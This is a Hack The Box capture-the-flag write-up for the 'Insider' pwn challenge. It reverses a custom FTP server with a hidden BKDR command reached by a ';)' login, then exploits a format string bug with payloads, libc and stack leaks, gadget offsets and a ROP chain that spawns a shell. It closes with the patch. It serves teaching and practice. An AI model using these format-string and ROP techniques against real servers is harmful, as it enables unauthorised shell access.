Write-Ups

7 min read

Business CTF 2022: The insides of a custom FTP server - Insider

This post will cover the solution for the pwn challenge, Insider, and the thought process during development. It uses backdoor commands, format string vulnerability, and ROP chains.

LMS57 w3th4nds, Oct 28,
2022

Description

While running routine updates, our deployment service alerted us of a hash mismatch on an FTP server installed in our network perimeter. While investigating, our SOC team notified us of breach attempts inside the network. We believe a threat actor has compromised the version control system and has inserted a backdoor to try and pivot throughout the network. We got locked from logging into the server, leaving only the FTP exposed. Can you find a way back inside before the attacker owns the network?

Checking the binary for all the mitigations with checksec we get the following protections enabled. 

Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./'

A short explanation:

Full RELRO - All functions are loaded at load time and the Global Offset Table will not be writeable

No canary - No stack canary found, buffer overflows could be possible

NX enabled - The stack is not executable

PIE enabled - The binary will load at a randomized address accordingly with the system

b'./' - The current directory will be loaded first as means for looking for a needed library

Running the file command also gives us this:

./chall: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked,
interpreter ./ld-linux-x86-64.so.2...

Showing that the ld in the current directory is used as the dynamic loader and that it's a 64-bit binary.

Running the libc gives you details about the library:

./libc.so.6
GNU C Library (Ubuntu GLIBC 2.33-0ubuntu9) release release version 2.33.
Copyright (C) 2021 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Compiled by GNU CC version 10.3.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.

This gives us the details of dealing with glibc 2.33. Different versions of Glibc have different protections and function opportunities, for now the only major difference for 2.33 is the lack of Malloc and Free hooks within the binary.

🎮 PLAY THE TRACK

Reversing

Now we can look at reversing the binary, this will be done within Ghidra. Going to entry is the first function ran inside our binary, from here actual main is the first parameter sent to __libc_start_main.

void entry(undefined8 param_1,undefined8 param_2,undefined8 param_3)

{
  undefined8 in_stack_00000000;
  undefined auStack8 [8];
 
  __libc_start_main(FUN_00103a02,in_stack_00000000,&stack0x00000008,FUN_00103a30,FUN_00103a90,
                    param_3,auStack8);
  do {
                    /* WARNING: Do nothing block with infinite loop */
  } while( true );
}

Going into Fun_00102b77 is the juice of our binary, this will be referred to as handler from now on. Looking into the first function call of FUN_00102370 looks like a write function by utilizing a vsnprintf and a write function call, so we can rename it as such. Showing the header printed to us after we connect or run the application.

<SNIP> 
bVar8 = 0;
write("%d Blablah FTP \r\n",0xdc);
local_1068 = 0;
<SNIP>

Further down we have a while(true) and a read function call, meaning this is the loop of our program

while( true ) {
  sVar5 = read(0,&DAT_00106220,0x1000);
  iVar2 = (int)sVar5;

Data is read in by 0x1000 bytes at a time into our buffer, which with a quick glance should be large enough to handle it without an overflow. After that, carriage returns, and newlines are removed and replaced with a null byte. If there is no null byte, we end prematurely. Our buffer is then passed to FUN_00102a56, in here our sent-in parameter is compared to a command list found at PTR_DAT_00106220.

undefined4 FUN_00102a56(long param_1,int param_2)

{
  int local_10;
  int local_c;
 
  local_c = 0;
  while( true ) {
    if (0x1d < local_c) {
      return 0xffffffff;
    }
    local_10 = 0;
    while ((((&PTR_DAT_00106020)[(long)local_c * 2][local_10] != '\0' && (local_10 < param_2)) &&
           (((&PTR_DAT_00106020)[(long)local_c * 2][local_10] == *(char *)(param_1 + local_10) ||
            ((int)(char)(&PTR_DAT_00106020)[(long)local_c * 2][local_10] ==
             *(char *)(param_1 + local_10) + -0x20))))) {
      local_10 = local_10 + 1;
    }
    if ((&PTR_DAT_00106020)[(long)local_c * 2][local_10] == '\0') break;
    local_c = local_c + 1;
  }
  return *(undefined4 *)(&DAT_00106028 + (long)local_c * 0x10);
}

This list consists of the following commands:

<SNIP>
                         DAT_00104008                              XREF[1]:   00106020(*)  
      00104008 55            ??        55h    U
      00104009 53            ??        53h    S
      0010400a 45            ??        45h    E
      0010400b 52            ??        52h    R
      0010400c 00            ??        00h
      0010400d 50            ??        50h    P
      0010400e 41            ??        41h    A
      0010400f 53            ??        53h    S
      00104010 53            ??        53h    S
      00104011 00            ??        00h
                         DAT_00104012                              XREF[6]:   FUN_00102b77:001031b9(*),
                                                                               FUN_00102b77:001031c0(*),
                                                                               FUN_00102b77:001031fe(*),
                                                                               FUN_00102b77:00103205(*),
                                                                               FUN_00102b77:0010334b(*),
                                                                               FUN_00102b77:00103352(*)  
      00104012 52            ??        52h    R
      00104013 45            ??        45h    E
      00104014 54            ??        54h    T
      00104015 52            ??        52h    R

<SNIP>
The rest are:
USER
PASS
RETR
STOR
STOU
APPE
REST
RNFR
RNTO
ABOR
DELE
RMD
MKD
PWD
CWD
CDUP
LIST
NLST
SITE
STAT
HELP
NOOP
TYPE
PASV
PORT
SYST
QUIT
MDTM
SIZE
BKDR

Comparing this to an actual list of FTP commands you can see an extra called BKDR hidden in there. The check after this lookup function checks to see if our returned value is 0,1, or 0x1a.

<SNIP>
    else {
      if ((((local_34 == 0) && (local_44 != 0)) && (local_44 != 0x1a)) ||
         (((local_34 == 1 && (local_44 != 1)) && (local_44 != 0x1a)))) {
        write("%d Need login. Login first. \r\n",0x212);
      }
<SNIP>

Which lines up with the following commands from the list above, USER, PASS and QUIT, meaning we need to

login first to get to our new BKDR command. If we look at the USER and PASS commands we can see a call to FUN_00102a22.

bool FUN_00102a22(char *param_1)

{
  int iVar1;
 
  iVar1 = strcmp(param_1,";)");
  return iVar1 == 0;
}

Here we can see our supplied username or password have a hidden user of ;). The testing we can see we login successfully.

220 Blablah FTP
USER ;)
331 User name okay need password
PASS ;)
230 User logged in proceed

Now if we scroll down to the BKDR case of 0x1d, we can see that a header and footer are added to our buffer and our data is returned straight to us through the write wrapper. Looking closer at this we can see that our buffer is passed straight to the vsnprintf function giving us a format string vulnerability. Testing this, we can see that it is correct.

BKDR %p
431136 BKDR 0xd20

From this we can now leak libc, we check individual indexes by utilizing the $ functionality of formaters. Such a leak exists at index 2739.

BKDR %2739$p
431136 BKDR 0x7ff29ff5e565

A stack leak can similarly be found at index 2736.

BKDR %2736$p
431136 BKDR 0x7ffd0afefd80

A buffer we control can also be found on the stack at index 103.

BKDR zzzzzzzz%1031$p
431136 BKDR zzzzzzzz0x7a7a7a7a7a7a7a7a

Taking into consideration this information we can now utilize the %n format specifier to create a rop chain in the stack. There are several ways to complete our goal from this point, but we opted to go for binsh execution. Using ropper or a similar rop gadget finding tool we can find a pop rdi, pop rsi, pop rdx, gadget such as these.

rdi = libc_base+0x0000000000028a55
rsi = libc_base+0x000000000002a4cf
rdx = libc_base+0x0000000000157606 #pop rdx; pop rbx; ret

We also can find a /bin/sh buffer in libc to utilize, one can be found located at an offset of 0x1abf05. Using our stack leak and the format string we can move our rop chain to the stack over our return address.

pop rdi
/bin/sh str
pop rsi
0
pop rdx
0
0
execve

Then we can run the QUIT command to invoke it and get a shell. Since we don't have permission to read from /flag.txt we need to run the get_flag binary that is found in /home/ctf once we get our shell. This should give us a flag!

./get_flag
HTB{Private_Key_H@McQfTjWnZr4u7x!A%D*G-KaNdRgUkX}

Format string Bug

The bug occurred due to the misuse of the family of printf functions that do not use format specifiers. There are many CVEs that show such vulnerability in C/C++ and even python. This can be easily patched by adding the corresponding printf("%s", buffer); format specifiers instead of printf(buffer);

Real World

There are dozens of reports, statistics, and articles showing that insider threats are a growing concern and are just as serious if not more than an outside threat. Something as simple as a smiley face has been used before to create a backdoor in well-known and used software. While it was caught relatively soon after its release if the perpetrator had decided to be a bit more stealthy about his/her actions much more mayhem could have occurred from it.

🎮 PLAY THE TRACK

Hack The Blog

The latest news and updates, direct from Hack The Box